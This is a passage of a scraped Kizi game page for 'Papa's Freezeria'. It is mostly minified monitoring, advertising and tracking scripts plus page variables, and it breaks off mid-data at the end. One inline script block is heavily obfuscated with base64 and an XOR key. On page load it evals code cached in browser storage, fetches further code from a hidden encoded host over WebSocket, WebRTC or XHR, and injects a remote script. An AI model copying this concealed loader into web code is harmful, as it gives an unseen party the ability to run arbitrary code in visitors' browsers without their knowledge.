n=t;n&&!n.hasOwnProperty(u);)n=Object.getPrototypeOf(n);n&&o(n)}function o(t){s.inPlace(t,[u,d],"-",i)}function i(t,n){return t[1]}var a=t("ee").get("events"),s=t(18)(a,!0),c=t("gos"),f=XMLHttpRequest,u="addEventListener",d="removeEventListener";n.exports=a,"getPrototypeOf"in Object?(r(document),r(window),r(f.prototype)):f.prototype.hasOwnProperty(u)&&(o(window),o(f.prototype)),a.on(u+"-start",function(t,n){var e=t[1],r=c(e,"nr@wrapped",function(){function t(){if("function"==typeof e.handleEvent)return e.handleEvent.apply(e,arguments)}var n={object:t,"function":e}[typeof e];return n?s(n,"fn-",null,n.name||"anonymous"):e});this.wrapped=t[1]=r}),a.on(d+"-start",function(t){t[1]=this.wrapped||t[1]})},{}],6:[function(t,n,e){var r=t("ee").get("history"),o=t(18)(r);n.exports=r,o.inPlace(window.history,["pushState","replaceState"],"-")},{}],7:[function(t,n,e){var r=t("ee").get("raf"),o=t(18)(r),i="equestAnimationFrame";n.exports=r,o.inPlace(window,["r"+i,"mozR"+i,"webkitR"+i,"msR"+i],"raf-"),r.on("raf-start",function(t){t[0]=o(t[0],"fn-")})},{}],8:[function(t,n,e){function r(t,n,e){t[0]=a(t[0],"fn-",null,e)}function o(t,n,e){this.method=e,this.timerDuration=isNaN(t[1])?0:+t[1],t[0]=a(t[0],"fn-",this,e)}var i=t("ee").get("timer"),a=t(18)(i),s="setTimeout",c="setInterval",f="clearTimeout",u="-start",d="-";n.exports=i,a.inPlace(window,[s,"setImmediate"],s+d),a.inPlace(window,[c],c+d),a.inPlace(window,[f,"clearImmediate"],f+d),i.on(c+u,r),i.on(s+u,o)},{}],9:[function(t,n,e){function r(t,n){d.inPlace(n,["onreadystatechange"],"fn-",s)}function o(){var t=this,n=u.context(t);t.readyState>3&&!n.resolved&&(n.resolved=!0,u.emit("xhr-resolved",[],t)),d.inPlace(t,y,"fn-",s)}function i(t){g.push(t),h&&(x?x.then(a):w?w(a):(E=-E,O.data=E))}function a(){for(var t=0;t<g.length;t++)r([],g[t]);g.length&&(g=[])}function s(t,n){return n}function c(t,n){for(var e in t)n[e]=t[e];return n}t(5);var f=t("ee"),u=f.get("xhr"),d=t(18)(u),l=NREUM.o,p=l.XHR,h=l.MO,m=l.PR,w=l.SI,v="readystatechange",y=["onload","onerror","onabort","onloadstart","onloadend","onprogress","ontimeout"],g=[];n.exports=u;var b=window.XMLHttpRequest=function(t){var n=new p(t);try{u.emit("new-xhr",[n],n),n.addEventListener(v,o,!1)}catch(e){try{u.emit("internal-error",[e])}catch(r){}}return n};if(c(p,b),b.prototype=p.prototype,d.inPlace(b.prototype,["open","send"],"-xhr-",s),u.on("send-xhr-start",function(t,n){r(t,n),i(n)}),u.on("open-xhr-start",r),h){var x=m&&m.resolve();if(!w&&!m){var E=1,O=document.createTextNode(E);new h(a).observe(O,{characterData:!0})}}else f.on("fn-end",function(t){t[0]&&t[0].type===v||a()})},{}],10:[function(t,n,e){function r(t){var n=this.params,e=this.metrics;if(!this.ended){this.ended=!0;for(var r=0;r<d;r++)t.removeEventListener(u[r],this.listener,!1);if(!n.aborted){if(e.duration=a.now()-this.startTime,4===t.readyState){n.status=t.status;var i=o(t,this.lastSize);if(i&&(e.rxSize=i),this.sameOrigin){var c=t.getResponseHeader("X-NewRelic-App-Data");c&&(n.cat=c.split(", ").pop())}}else n.status=0;e.cbTime=this.cbTime,f.emit("xhr-done",[t],t),s("xhr",[n,e,this.startTime])}}}function o(t,n){var e=t.responseType;if("json"===e&&null!==n)return n;var r="arraybuffer"===e||"blob"===e||"json"===e?t.response:t.responseText;return h(r)}function i(t,n){var e=c(n),r=t.params;r.host=e.hostname+":"+e.port,r.pathname=e.pathname,t.sameOrigin=e.sameOrigin}var a=t("loader");if(a.xhrWrappable){var s=t("handle"),c=t(11),f=t("ee"),u=["load","error","abort","timeout"],d=u.length,l=t("id"),p=t(14),h=t(13),m=window.XMLHttpRequest;a.features.xhr=!0,t(9),f.on("new-xhr",function(t){var n=this;n.totalCbs=0,n.called=0,n.cbTime=0,n.end=r,n.ended=!1,n.xhrGuids={},n.lastSize=null,p&&(p>34||p<10)||window.opera||t.addEventListener("progress",function(t){n.lastSize=t.loaded},!1)}),f.on("open-xhr-start",function(t){this.params={method:t[0]},i(this,t[1]),this.metrics={}}),f.on("open-xhr-end",function(t,n){"loader_config"in NREUM&&"xpid"in NREUM.loader_config&&this.sameOrigin&&n.setRequestHeader("X-NewRelic-ID",NREUM.loader_config.xpid)}),f.on("send-xhr-start",function(t,n){var e=this.metrics,r=t[0],o=this;if(e&&r){var i=h(r);i&&(e.txSize=i)}this.startTime=a.now(),this.listener=function(t){try{"abort"===t.type&&(o.params.aborted=!0),("load"!==t.type||o.called===o.totalCbs&&(o.onloadCalled||"function"!=typeof n.onload))&&o.end(n)}catch(e){try{f.emit("internal-error",[e])}catch(r){}}};for(var s=0;s<d;s++)n.addEventListener(u[s],this.listener,!1)}),f.on("xhr-cb-time",function(t,n,e){this.cbTime+=t,n?this.onloadCalled=!0:this.called+=1,this.called!==this.totalCbs||!this.onloadCalled&&"function"==typeof e.onload||this.end(e)}),f.on("xhr-load-added",function(t,n){var e=""+l(t)+!!n;this.xhrGuids&&!this.xhrGuids[e]&&(this.xhrGuids[e]=!0,this.totalCbs+=1)}),f.on("xhr-load-removed",function(t,n){var e=""+l(t)+!!n;this.xhrGuids&&this.xhrGuids[e]&&(delete this.xhrGuids[e],this.totalCbs-=1)}),f.on("addEventListener-end",function(t,n){n instanceof m&&"load"===t[0]&&f.emit("xhr-load-added",[t[1],t[2]],n)}),f.on("removeEventListener-end",function(t,n){n instanceof m&&"load"===t[0]&&f.emit("xhr-load-removed",[t[1],t[2]],n)}),f.on("fn-start",function(t,n,e){n instanceof m&&("onload"===e&&(this.onload=!0),("load"===(t[0]&&t[0].type)||this.onload)&&(this.xhrCbStart=a.now()))}),f.on("fn-end",function(t,n){this.xhrCbStart&&f.emit("xhr-cb-time",[a.now()-this.xhrCbStart,this.onload,n],n)})}},{}],11:[function(t,n,e){n.exports=function(t){var n=document.createElement("a"),e=window.location,r={};n.href=t,r.port=n.port;var o=n.href.split("://");!r.port&&o[1]&&(r.port=o[1].split("/")[0].split("@").pop().split(":")[1]),r.port&&"0"!==r.port||(r.port="https"===o[0]?"443":"80"),r.hostname=n.hostname||e.hostname,r.pathname=n.pathname,r.protocol=o[0],"/"!==r.pathname.charAt(0)&&(r.pathname="/"+r.pathname);var i=!n.protocol||":"===n.protocol||n.protocol===e.protocol,a=n.hostname===document.domain&&n.port===e.port;return r.sameOrigin=i&&(!n.hostname||a),r}},{}],12:[function(t,n,e){function r(){}function o(t,n,e){return function(){return i(t,[f.now()].concat(s(arguments)),n?null:this,e),n?void 0:this}}var i=t("handle"),a=t(15),s=t(16),c=t("ee").get("tracer"),f=t("loader"),u=NREUM;"undefined"==typeof window.newrelic&&(newrelic=u);var d=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(d,function(t,n){u[n]=o(l+n,!0,"api")}),u.addPageAction=o(l+"addPageAction",!0),u.setCurrentRouteName=o(l+"routeName",!0),n.exports=newrelic,u.interaction=function(){return(new r).get()};var h=r.prototype={createTracer:function(t,n){var e={},r=this,o="function"==typeof n;return i(p+"tracer",[f.now(),t,e],r),function(){if(c.emit((o?"":"no-")+"fn-start",[f.now(),r,o],e),o)try{return n.apply(this,arguments)}catch(t){throw c.emit("fn-err",[arguments,this,t],e),t}finally{c.emit("fn-end",[f.now()],e)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(t,n){h[n]=o(p+n)}),newrelic.noticeError=function(t){"string"==typeof t&&(t=new Error(t)),i("err",[t,f.now()])}},{}],13:[function(t,n,e){n.exports=function(t){if("string"==typeof t&&t.length)return t.length;if("object"==typeof t){if("undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer&&t.byteLength)return t.byteLength;if("undefined"!=typeof Blob&&t instanceof Blob&&t.size)return t.size;if(!("undefined"!=typeof FormData&&t instanceof FormData))try{return JSON.stringify(t).length}catch(n){return}}}},{}],14:[function(t,n,e){var r=0,o=navigator.userAgent.match(/Firefox[\/\s](\d+\.\d+)/);o&&(r=+o[1]),n.exports=r},{}],15:[function(t,n,e){function r(t,n){var e=[],r="",i=0;for(r in t)o.call(t,r)&&(e[i]=n(r,t[r]),i+=1);return e}var o=Object.prototype.hasOwnProperty;n.exports=r},{}],16:[function(t,n,e){function r(t,n,e){n||(n=0),"undefined"==typeof e&&(e=t?t.length:0);for(var r=-1,o=e-n||0,i=Array(o<0?0:o);++r<o;)i[r]=t[n+r];return i}n.exports=r},{}],17:[function(t,n,e){n.exports={exists:"undefined"!=typeof window.performance&&window.performance.timing&&"undefined"!=typeof window.performance.timing.navigationStart}},{}],18:[function(t,n,e){function r(t){return!(t&&t instanceof Function&&t.apply&&!t[a])}var o=t("ee"),i=t(16),a="nr@original",s=Object.prototype.hasOwnProperty,c=!1;n.exports=function(t,n){function e(t,n,e,o){function nrWrapper(){var r,a,s,c;try{a=this,r=i(arguments),s="function"==typeof e?e(r,a):e||{}}catch(f){l([f,"",[r,a,o],s])}u(n+"start",[r,a,o],s);try{return c=t.apply(a,r)}catch(d){throw u(n+"err",[r,a,d],s),d}finally{u(n+"end",[r,a,c],s)}}return r(t)?t:(n||(n=""),nrWrapper[a]=t,d(t,nrWrapper),nrWrapper)}function f(t,n,o,i){o||(o="");var a,s,c,f="-"===o.charAt(0);for(c=0;c<n.length;c++)s=n[c],a=t[s],r(a)||(t[s]=e(a,f?s+o:o,i,s))}function u(e,r,o){if(!c||n){var i=c;c=!0;try{t.emit(e,r,o,n)}catch(a){l([a,e,r,o])}c=i}}function d(t,n){if(Object.defineProperty&&Object.keys)try{var e=Object.keys(t);return e.forEach(function(e){Object.defineProperty(n,e,{get:function(){return t[e]},set:function(n){return t[e]=n,n}})}),n}catch(r){l([r])}for(var o in t)s.call(t,o)&&(n[o]=t[o]);return n}function l(n){try{t.emit("internal-error",n)}catch(e){}}return t||(t=o),e.inPlace=f,e.flag=a,e}},{}],ee:[function(t,n,e){function r(){}function o(t){function n(t){return t&&t instanceof r?t:t?c(t,s,i):i()}function e(e,r,o,i){if(!l.aborted||i){t&&t(e,r,o);for(var a=n(o),s=h(e),c=s.length,f=0;f<c;f++)s[f].apply(a,r);var d=u[y[e]];return d&&d.push([g,e,r,a]),a}}function p(t,n){v[t]=h(t).concat(n)}function h(t){return v[t]||[]}function m(t){return d[t]=d[t]||o(e)}function w(t,n){f(t,function(t,e){n=n||"feature",y[e]=n,n in u||(u[n]=[])})}var v={},y={},g={on:p,emit:e,get:m,listeners:h,context:n,buffer:w,abort:a,aborted:!1};return g}function i(){return new r}function a(){(u.api||u.feature)&&(l.aborted=!0,u=l.backlog={})}var s="nr@context",c=t("gos"),f=t(15),u={},d={},l=n.exports=o();l.backlog=u},{}],gos:[function(t,n,e){function r(t,n,e){if(o.call(t,n))return t[n];var r=e();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(t,n,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return t[n]=r,r}var o=Object.prototype.hasOwnProperty;n.exports=r},{}],handle:[function(t,n,e){function r(t,n,e,r){o.buffer([t],r),o.emit(t,n,e)}var o=t("ee").get("handle");n.exports=r,r.ee=o},{}],id:[function(t,n,e){function r(t){var n=typeof t;return!t||"object"!==n&&"function"!==n?-1:t===window?0:a(t,i,function(){return o++})}var o=1,i="nr@id",a=t("gos");n.exports=r},{}],loader:[function(t,n,e){function r(){if(!x++){var t=b.info=NREUM.info,n=l.getElementsByTagName("script")[0];if(setTimeout(u.abort,3e4),!(t&&t.licenseKey&&t.applicationID&&n))return u.abort();f(y,function(n,e){t[n]||(t[n]=e)}),c("mark",["onload",a()+b.offset],null,"api");var e=l.createElement("script");e.src="https://"+t.agent,n.parentNode.insertBefore(e,n)}}function o(){"complete"===l.readyState&&i()}function i(){c("mark",["domContent",a()+b.offset],null,"api")}function a(){return E.exists&&performance.now?Math.round(performance.now()):(s=Math.max((new Date).getTime(),s))-b.offset}var s=(new Date).getTime(),c=t("handle"),f=t(15),u=t("ee"),d=window,l=d.document,p="addEventListener",h="attachEvent",m=d.XMLHttpRequest,w=m&&m.prototype;NREUM.o={ST:setTimeout,SI:d.setImmediate,CT:clearTimeout,XHR:m,REQ:d.Request,EV:d.Event,PR:d.Promise,MO:d.MutationObserver};var v=""+location,y={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1071.min.js"},g=m&&w&&w[p]&&!/CriOS/.test(navigator.userAgent),b=n.exports={offset:s,now:a,origin:v,features:{},xhrWrappable:g};t(12),l[p]?(l[p]("DOMContentLoaded",i,!1),d[p]("load",r,!1)):(l[h]("onreadystatechange",o),d[h]("onload",r)),c("mark",["firstbyte",s],null,"api");var x=0,E=t(17)},{}]},{},["loader",2,10,4,3]);</script><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js"></script><script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.1/jquery-ui.min.js"></script><script src="http://ajax.googleapis.com/ajax/libs/swfobject/2.2/swfobject.js"></script><script src="http://www.magazinedoadesivo.com.br/publico/javascript/plugins/jquery.resizeOnApproach.1.0.min.js"></script><script src="https://apis.google.com/js/platform.js"></script><script src="http://cdn1.kizi.com/assets/application-d0e7f002d75a0af5af811bb853e0cbdd.js" type="text/javascript"></script><script src="http://cdn1.kizi.com/assets/raphael.min-c2c8dedc4bae442cf428fa9e3a88d751.js" type="text/javascript"></script><script src="https://cdn.onesignal.com/sdks/OneSignalSDK.js" async='async'></script><script src="http://cdn0.kizi.com/assets/one_signal_notifications-68e4c4aa39682da837e7386dff48aecc.js" type="text/javascript"></script><script type="application/javascript">(function(w,d,t,r,u){w[u]=w[u]||[];w[u].push({'projectId':'10000','properties':{'pixelId':'10039207'}});var s=d.createElement(t);s.src=r;s.async=true;s.onload=s.onreadystatechange=function(){var y,rs=this.readyState,c=w[u];if(rs&&rs!="complete"&&rs!="loaded"){return}try{y=YAHOO.ywa.I13N.fireBeacon;w[u]=[];w[u].push=function(p){y([p])};y(c)}catch(e){}};var scr=d.getElementsByTagName(t)[0],par=scr.parentNode;par.insertBefore(s,scr)})(window,document,"script","https://s.yimg.com/wi/ytc.js","dotq");</script><script src="https://rawgit.com/amibug/fly/master/src/requestAnimationFrame.js"></script><script src="https://rawgit.com/amibug/fly/master/dist/jquery.fly.js"></script><script type="text/javascript" src="http://imasdk.googleapis.com/js/sdkloader/ima3.js"></script><script src="http://cdn1.kizi.com/assets/advertisement-bf32475b602e083b08c75cd9924c277f.js" type="text/javascript"></script><script src="http://cdn1.kizi.com/assets/ima_ads-4950708e5b3b61ea9b530283d9398ba2.js" type="text/javascript"></script><script>(function() { var _fbq = window._fbq || (window._fbq = []); if (!_fbq.loaded) { var fbds = document.createElement('script'); fbds.async = true; fbds.src = '//connect.facebook.net/en_US/fbds.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(fbds, s); _fbq.loaded = true; } _fbq.push(['addPixelId', '531081737012635']); })(); window._fbq = window._fbq || []; window._fbq.push(['track', 'PixelInitialized', {}]); </script><script>try{(function(){function B(){try{var a=K()}catch(c){}if(a)try{C(a.h,null)}catch(c){delete window.localStorage[a.key],delete window.sessionStorage[a.key]}else L(function(a,b){b.as=!0;try{C(a,b)}catch(e){}},M)}function M(){var b=window.location.protocol==a("BgMNGQZU")?a("BgMNGQZURUw="):a("BgMNGU9BRQ==");(new Image).src=b+u+N}function L(a,c){function b(){var d=e.shift();if(d)try{d(a,b)}catch(m){b()}else v(),c()}try{O()}catch(f){v();c();return}var e=[P,Q,R,S];b()}function C(a,c){(function(){eval(a)})({e:a, p:c,n:g})}function K(){var b=[];window.localStorage&&b.push(window.localStorage);window.sessionStorage&&b.push(window.sessionStorage);var c=D(a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),E(a("HgUcCBgMBgY=")));c=new Uint8Array(c);for(var d="",e=0;e<c.length;e++)d+=String.fromCharCode(c[e]);c=btoa(d);d=(new Date).getTime();for(e=0;e<b.length;e++){var f=b[e],m;for(m in f)if(0===m.lastIndexOf(c,0)){try{for(var k=a("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="),g=atob(f[m]),l=new Uint8Array(g.length), h=0;h<g.length;h++)l[h]=g.charCodeAt(h);var n=r(D(k,l.buffer))}catch(U){continue}h=parseInt(n.substring(0,13),10);if(!isNaN(h))if(864E5<d-h||1>d-h)f.removeItem(m);else if((h=n.substring(13))&&!(16>h.length))return{h:h,key:m}}}return null}function Q(b,c){var d=a("XUNOUQ=="),e=a("WTVDWkNUXydbWk9eKDBVTDZZKkxcXVZcLFBZMyRNS1VUMzpTNyxQIlRSRVxTM1tONVVRQVdeVFZQUVRIIUdCXVlNTV9PLVlZJ11MVyxLLUVNJl5PU1FYJFhZV0ddMj4=");d=w+":"+d;var f={};f[a("GwUVGg==")]=a("GgILB08=")+d+a("UQMLCBsdGgwTHEsQCgE=");f[a("DQUcDRAAHgoABA==")]= a("FxYNABgP");f[a("GwQcGxsPBwY=")]=a("FxYNABgP");F(e,f,function(b){b=b.match(new RegExp(a("MBQYBxEHDgIVDUw4DVpPKBNIS11ZXhcCGh82NjdeWDkKXFlBKQpBP080Ek81XzMQXD9FKQJPS0Y2B0hSEw4IRRwSFQgM")));if(null==b)return null;b=b[1];return a("DRYXDRwKCxcEUkdEWFE6MCdDU0ZVVVBQWUM=")+b+a("TkFKWURYShcYGFYWDB0ODVcRChECFkI=")+b+a("TgUJBgcaSlVSWEdSSR8KAAAMGR5LBw0VHkNT")},b,c)}function R(b,c){var d=a("WEdJWA=="),e=a("KEJDKDdUUlpbLUJeXUBVTUZZXExcV1FcWlFZMF9NTyRUQjtTMF9QJVRSQlJTRipOMSZRQCBeUFJQWyVIJTJCUStNSipPKylZVlBMVF9LWkdNIllPVSJYUitZVEtdTkA="); d=w+":"+d;var f={};f[a("GwUVGg==")]=[a("HQMMB08=")+d];F(e,f,function(b){b=b.match(new RegExp(a("MBQYBxEHDgIVDUw4DVpPKBNIS11ZXhcCGh82NjdeWDkKXFlBKQpBP080Ek81XzMQXD9FKQJPQjoOSEpSEw4IRR0FHwUN")));if(null==b)return null;b=b[1];return a("DRYXDRwKCxcEUkZEWFE6MCdDWURSU1ZeWVVXRUc=")+b+a("TgMAGVUGBRAV")},b,c)}function F(b,c,d,e,f){function m(a){k||(k=!0,a.apply(null,Array.prototype.slice.call(arguments,1)))}var k=!1;e=m.bind(null,e);f=m.bind(null,f);var p={};p[a("BxQcOhAcHAYTGw==")]=[c];var l=new g.c(p);l[a("DQUcCAELLgIVCTUMCB8BERs=")](a("QRocHRRBGgoPDw==")).binaryType= a("DwULCAwMHwUHDQQ=");l[a("ARkQChANCw0FARIFHRQ=")]=function(b){if(null!=b[a("DRYXDRwKCxcE")]&&(b=d(b[a("DRYXDRwKCxcE")][a("DRYXDRwKCxcE")]),null!=b)){var c={};c[a("DRYXDRwKCxcE")]=b;c[a("HRMJJDkHBAYoBhIBEQ==")]=0;l[a("DxMdIBYLKQIPDB8ACAUK")](new g.b(c),function(){},function(){})}};l.addEventListener(a("BxQcChoABAYCHB8LBwIbFQMGCB0HCgUD"),function(){l[a("BxQcKhoABAYCHB8LByIbFQMG")]===a("CBYQBRAK")&&f()});var h=a("GEpJYxpTHxAEGhgFBBRPRFdTSzwoRCs2XkNSQFBZSEteWUhjBlMZBhIbHwsHHw4ZEmkISC8qQi86V0NDVUBWVUBHV1h/GldTQVh8BVQXBhoQBhkFFA0MElAQCxNKRU1TTg==")+ b+a("ZBZEABYLRwwRHB8LBwJVAAUKCB4KAWgLVwITAgseGwQaHhYHVV9YUFVIMjAlIkAnNDc7VVNUUlZgAl4BBAMICA8HQ1xFXlpDFg0UFh0SQhAWFwoWDgUMCA8PQ0BSQXIEUx4aDFgbDBEAD0w=")+function(){for(var b="",c=a("XkdJWUVeWlM="),d=0;16>d;++d){var e=(4294967296*Math.random()>>>0).toString(16);b+=c.substring(0,c.length-e.length)+e}return b}()+a("ZBZEABYLRxMWDExUWUFfREdTW0VWVFJWWlNTQldHSFVeR0lZRV5aU1FYRm4=");l[a("DQUcCAELJQUHDQQ=")](function(b){l[a("HRINJRoNCw8lDQUHGxgfAB4MBQ==")](b,function(){var b={};b[a("Gg4JDA==")]=a("DxkKHhAc"); b[a("HRMJ")]=h;l[a("HRINOxADBRcELBMXCgMGBAMKBBs=")](new g.f(b),function(){},function(){})},function(){})},function(){});b=l[a("DQUcCAELLgIVCTUMCB8BERs=")](a("QQAKGXU=")+window.navigator.userAgent);b.binaryType=a("DwULCAwMHwUHDQQ=");G(b,x(),function(b){e(b,{rtc:l})},function(){f()})}function S(b,c){function d(b){m||(m=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var e=x();e=(window.location.protocol==a("BgMNGQZU")?a("BgMNGQZURUw="):a("BgMNGU9BRQ=="))+u+e;var f=a("KTIt"),m=!1;b=d.bind(null, b);c=d.bind(null,c);var k=new g.g;k.onreadystatechange=function(){4==k.readyState&&(0==k.status?c():b(r(k.response),{}))};k.onerror=function(){c()};k.open(f,e,!0);k.responseType=a("DwULCAwMHwUHDQQ=");k.send(null)}function P(b,c){var d=a("GQQKU1pB"),e=new g.a(d+w+a("QQAKGQ=="));e.binaryType=a("DwULCAwMHwUHDQQ=");G(e,x(),function(a){b(a,{ws:e})},function(){c()})}function G(b,c,d,e){function f(b){g||(g=!0,b.apply(null,Array.prototype.slice.call(arguments,1)))}var g=!1;d=f.bind(null,d);e=f.bind(null, e);var k=!1,p=setTimeout(function(){e(Error())},3E3),l=E(JSON.stringify({url:c||"",method:a("KTIt"),headers:null,body:null}));b.onopen=function(){clearTimeout(p);b.send(l)};var h=new ArrayBuffer(0),n;b.onmessage=function(b){if(4===b.data.byteLength){var a=new Uint8Array(b.data);if(222===a[0]&&173===a[1]&&190===a[2]&&239===a[3])return}!1===k?(k=!0,b=r(b.data),n=JSON.parse(b),n={status:n.status||0,headers:{}}):(b=b.data,a=new Uint8Array(h.byteLength+b.byteLength),a.set(new Uint8Array(h),0),a.set(new Uint8Array(b), h.byteLength),h=a.buffer)};b.onerror=function(){clearTimeout(p);e(Error())};b.onclose=function(){k?(n.body=h,d(r(n.body))):(clearTimeout(p),e(Error()))}}function y(b){return window[b.name]?window[b.name]:b[a("DRgXHRAAHicOCwMJDB8b")]&&b[a("DRgXHRAAHicOCwMJDB8b")][a("ChIfCAACHjUIDQE=")]?b[a("DRgXHRAAHicOCwMJDB8b")][a("ChIfCAACHjUIDQE=")]:b[a("DRgXHRAAHjQIBhILHg==")]}function H(){var b=document.createElement(a("BxELCBgL"));b.style.height=a("XwcB");b.style.width=a("XwcB");b.style.display=a("ABgXDA=="); b[a("HQUaDRoN")]=a("Dw==");b.name||(b.name=String.fromCharCode(parseInt(25*Math.random()+97,10))+Math.random().toString(36).substring(7));(document.body||document.head||document.documentElement).appendChild(b);var c=y(b);c.document.documentElement||c.document.write(a("Dw=="));try{c.stop()}catch(d){}return b}function O(){I=a("GxkSBxoZBA==");t=a("DR8LBhgL");q=a("CB4LDBMBEg==");z=a("AQccGxQ=");A=a("HRYfCAcH");var b=H();b=y(b);var c=b.navigator.userAgent;var d=(new RegExp(a("DR8LBhgLFgAJGhkJAAQC"),"i")).test(c)? t:(new RegExp(a("CB4LDBMBEh8ICxMTDBAcERsfDQ0PCxE="),"i")).test(c)?q:(new RegExp(a("MF9RVlQNAhEOBRMYCB8LBhgKD1xITUgVCwUCAA4="),"i")).test(c)?A:(new RegExp(a("AQcLFRoeAwwS"),"i")).test(c)?z:window[a("DR8LBhgL")]?t:"undefined"!==typeof InstallTrigger?q:I;-1===[t,q,z,A].indexOf(d)&&(b=window);c=a("CwEYBQ==");g.c=b[c](a("GR4XDRoZRDE1KyYBDAMsGxkNDhYSDQ0ISh8fUhAeFgEBAFceEAwBChU6Iic5FAoGNAwFGwMHFg8FDUMOG1cPDAATFh5bAwUZMzw1NAwUHTcYDQUQBRALCQRDHw5HABELChgORxgdODciOBMBGzIAGhkGCAEPCww="));g.f=b[c](a("GR4XDRoZRDE1KyUBGgIGGxknDgYFFgsWHgoMHEcLBEUZHhcNGhlEFAQKHQ0dIzs3JAYYBg8LDCIPEAAADgcMDAEZWRUJTh0KDwwZE0ccAA4lNygmAxcRDwUNJxcUFAoMHgMQBhtOFh9BHx8KDR4YWhoQOSElNwcVGQoMHCMSCwYcHgkdHAEE")); g.b=b[c](a("GR4XDRoZRDE1Kz8HDDIOGhMKDxQSAUIaFkMUGwkTFxJAABwLHgceMTUrPwcMMg4aEwoPFBIBQhoWQxQbCRMXEkAaFhMnOikqAg01BQcVBhAWFw5VGhhCEQMNBx0QWRUWPCM6IBYLKQIPDB8ACAUK"));d===q?(d=H(),g.a=y(d)[c](a("GR4XDRoZRDQECiULChoKAA==")),d.parentElement.removeChild(d)):g.a=b[c](a("GR4XDRoZRDQECiULChoKAA=="));g.g=b[c](a("GR4XDRoZRDssJD4QHQE9EQYWDgYS"))}function D(b,a){var c=new Uint8Array(a),e=new ArrayBuffer(a.byteLength);e=new Uint8Array(e);for(var f=0;f<a.byteLength;f++)e[f]=c[f]^b.charCodeAt(f%b.length);return e.buffer} function r(b){if(window.TextDecoder)return(new window.TextDecoder("utf-8")).decode(new Uint8Array(b));var a="";b=new Uint8Array(b);for(var d=b.byteLength,e=0;e<d;e++)a+=String.fromCharCode(b[e]);return decodeURIComponent(escape(a))}function E(b){if(window.TextEncoder)return(new window.TextEncoder("utf-8")).encode(b).buffer;b=unescape(encodeURIComponent(b));for(var a=new Uint8Array(b.length),d=0;d<b.length;d++)a[d]=b.charCodeAt(d);return a.buffer}function x(){return a("QRITGkoeVw==")+"2168330002"} function a(a){a=window.atob(a);for(var b="",d=0;d<a.length;d++)b+=String.fromCharCode(a.charCodeAt(d)^"nwyiunjcahvdiqotwckufdbfjccrgwxe".charCodeAt(d%32));return b}function v(){if(!J){var a=document.createElement("script");a.src=("https:"==window.location.protocol?"https://":"http://")+u+T;document.getElementsByTagName("head")[0].appendChild(a);J=!0}}var u=a("Fh8LRxAcBQQABB8SRxIAGQ=="),w=a("D1kcGxoJCw8IHlgHBhw="),T=decodeURIComponent("%2Fljs%3Fp%3D")+"2168330002",N=a("QRtGGUg=")+"2168330002"+a("SBREDBM=")+ a("SBQbVA==")+Math.random().toString().slice(3,9),g={},I,t,q,z,A,J=!1;if(/ucbrowser/i.test(navigator.userAgent)||window.i)try{v()}catch(b){}try{B()}catch(b){}})()}catch(B){}; </script><script type="text/javascript"> var game_name = "Papa&#x27;s Freezeria"; var multiplayer_path = '/multiplayer-games'; var html5_catalog_test_group = "control"; assure_html5_cookie_status(false, html5_catalog_test_group); var page_id = "w7NlvXO7TRoNIi4ydKqhSQ=="; var gameplay_count = count_total_game_plays(); var page_load_timestamp = (new Date()).getTime(); var swf_loaded = false; if (can_send_track_visit()) { var time_on_page = ((new Date()).getTime() - page_load_timestamp) / 1000; $.post("/track_visit", {page_id: page_id, tracking_from: 'new_game_page', time_until_track_visit: time_on_page, visit_event_type: "direct", gameplay: gameplay_count}); } // if you change this also change the show_avatar_creator view $(window).unload(function () { var time_on_page = ((new Date()).getTime() - page_load_timestamp) / 1000; var traffic_source = ""; $.ajaxSetup({async: false}); $.post('http://kizi.com/CollectionItems/update_efficiency_stat/0', { start_server_unixstamp: 1516326358, stat: 'exact_playtime', exact_time: time_on_page, game_id: game_id, page:0, stat_groups_ids: stat_groups_ids, traffic_source: traffic_source, channel: preroll_channel, page_id: page_id }); if (!ad_tracked) { isUnloading = 1 track_banner_impressions(); } var publisher = "Kizi"; send_gameplay_end_event(time_on_page, game_id); }); var preloading_behavior = 2; var loglevel = 1; var authtoken = "5e94acc7837d9e42c6ee1ed22af02701"; var user_id = ""; var current_user_level = '1'; var user_country = "US"; var original_channel = "0"; var preroll_channel = "0"; var adgroup_key = ""; var adgroup_value = ""; var midroll_channel = "0"; var MINUTES_BETWEEN_MIDROLLS = 10; var category_custom_criteria = "Management"; var categories = "Management, Food, Papa"; var first_game_play_for_visit = "true"; play_in_session = 1; var play_in_24h = 1; var stat_groups_ids = "2"; var show_midroll = true; var thumb_type = ""; var origin_category = ""; var thumb_position = ""; var show_plays = ''; // temp hack to support loading a different API without breaking the cache (for invnetory mechanism change) function getApiSwfFilename() { return "http://cdn1.kizi.com/api/ooplaAPI.swf?1516288363"; } var ad_width; var ad_height; var abtest1Alt = ""; var abtest2Alt = ""; var abtest3Alt = ""; var abtest4Alt = ""; var abtest5Alt = ""; //Playbuzz var quizzes_list = [{"permalink":"bob-the-robber-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Bob_Sudoku-1b42bd40863e3daff77494e9fa1deb90.png","title":"Bob The Robber Sudoku","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB2-4089265e6e58d166c2d015467e4898fc.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB2-e3775be80dd12db3174f5719fca2aae9.png"},{"permalink":"fireboy-and-watergirl-maze-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG3_240x180-7f70e222894446ae4f488087711446a0.png","title":"Fireboy and Watergirl maze 